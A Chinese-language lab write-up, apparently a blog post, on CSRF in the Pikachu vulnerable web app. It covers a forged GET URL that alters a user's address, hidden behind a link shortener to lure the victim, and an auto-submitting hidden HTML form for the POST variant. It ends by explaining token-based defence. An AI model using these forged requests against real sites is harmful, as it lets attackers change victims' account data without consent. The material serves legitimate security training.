piakchu-CSRF

CSRF(跨站请求伪造)

CSRF 是 Cross Site Request Forgery 的 简称,中文名为跨域请求伪造

在CSRF的攻击场景中,攻击者会伪造一个请求(一般是一个链接)

然后欺骗目标用户进行点击,用户一旦点击了这个请求,这个攻击也就完成了

所以CSRF攻击也被称为“one click”攻击

为什么会出现CSRF漏洞

一方面,用户安全意识不足,访问不知名的url
另一方面,web没有做到准确的合法用户验证

CSRF与XSS的区别:

  • CSRF攻击者并没有拿到用户的权限,是借用户的权限完成攻击;

  • 而XSS可以通过盗取cookie来获取用户权限来完成破坏。

如何确认一个web系统存在CSRF漏洞

对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造。
例如修改管理员账号时,不需要验证旧密码,导致请求容易被伪造;对于敏感信息的修改并没有使用安全的token验证,导致请求容易被伪造。

确认凭证的有效期。
虽然退出或关闭了浏览器,但cookie仍然有效,或者session并没有过期,导致CSRF攻击变得简单。

CSRF(GET)

攻击场景例子

在这里插入图片描述

lucy想要在购物网站上修改购物地址,这个操作是lucy通过浏览器向后端发送了请求。这个请求里面包含了lucy的新收货地址,如果是通过GET提交的,那么会以URL传参的方式的方式将新的地址提交给后台,类似上图中的URL,相当于点了链接就能修改个人信息

如果这时候攻击者想要修改lucy的信息怎么办?那么他需要取得lucy的账号,获得登录权限。这时候他可以将修改个人信息的请求伪造一下,构造类似下图中的URL,引诱lucy在登录状态下进行点击,这样攻击就成功了。

攻击条件
  • 目标网站没有对修改个人信息修改的请求进行防CSRF处理,导致该请求容易被伪造
    因此,判断一个网站有没有CSRF漏洞,其实就是判断对关键信息(密码等)的操作(增删改)是否容易被伪造。
  • lucy点击伪造的请求链接时有登录状态(已经登陆了目标网站),如果lucy没有登录,那么即便lucy点击了链接也没有作用
    从CSRF的利用条件来看,CSRF的利用难度会大一些,所以CSRF对应的安全级别低一些

点击提示输入账号密码之后进入到修改页面中来:

在这里插入图片描述

登录成功后可以来到个人中心,可以在这修改个人信息,进行登录,我们尝试修改一下个人信息并提交,同时利用BurpSuite抓包查看修改个人信息的请求内容,我们改一下地址。

在这里插入图片描述

在这里插入图片描述

在bp中可以直接修改。反观整个修改是使用GET方法,没有做token,所以我们可以直接构造url修改用户信息。
构造如下,将fengshang改为beijing。

http://192.168.238.132/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=beijing&email=lucy%40pikachu.com&submit=submit

在这里插入图片描述

在这个登录态下,如果lucy点击了这个连接,那么就攻击成功了。

但一般人不会点击这么 长串的链接,所以我们可以用在线修改短链接将其修改:

https://a.d4t.cn/LyvsfL

这是改为了tianjing。

在这里插入图片描述

在这里插入图片描述

CSRF(POST)

不知道为啥我在虚拟机上进行不了,所以只能在物理机上进行实验。

在这里插入图片描述

登录进来看到lucy的信息

这里直接使我们做好的php,该php会直接根据我们所写的表单内容进行修改。当lucy点击这个连接,她的信息就直接被修改掉了。

http://127.0.0.1:8080/pikachu-master/vul/csrf/csrfpost/post.php

<html>
    <script>                                                                                                       <!-- 这个script是用来自动提交表单的 -->
        window.onload = function() {
        document.getElementById("submit").click();
        }
    </script>              
    <body>
            <form action="http://127.0.0.1:8080/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">    
                <input type="hidden" name="sex" value="girl" />
                <input type="hidden" name="phonenum" value="1072050791" />
                <input type="hidden" name="add" value="hechi" />
                <input type="hidden" name="email" value="1072050791@qq.com" />
                <input type="hidden" name="submit" value="submit" />
	            <input id="submit" type="submit" value="Submit request" style="display:none"/>                    <!-- style设置为display:none起到隐藏submit按钮的作用 -->
            </form>
    </body>
</html> 

在这里插入图片描述

可以看到这里直接就被修改了。

CSRF(Token)

在修改信息这个页面点击提交后抓包

在这里插入图片描述

在这里插入图片描述

多试几次发现修改信息之前的token和修改信息之后的token是不一样的,必须token对得上才能执行这个数据包。
当用自己的服务器构造数据包,它的token不一样,所以修改就不会成功。
从上面可以看到的是token随机字符串用来验证数据包的唯一性,由于数据包的唯一性也就导致csrf漏洞几乎不能被利用。
这关其实是是防御CSRF的常用方法的一个演示。

查看源码:

发现修改用户信息时,服务器会比较url中的token字段和session中的token字段,如果相同才能修改用户信息。
修改完用户信息之后,会用set_token()函数生成新的token,将其返回到html表单中并隐藏起来,以便下次用户修改信息时代入url。

在这里插入图片描述

可以在/inc/function.php里有set_token()函数:
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值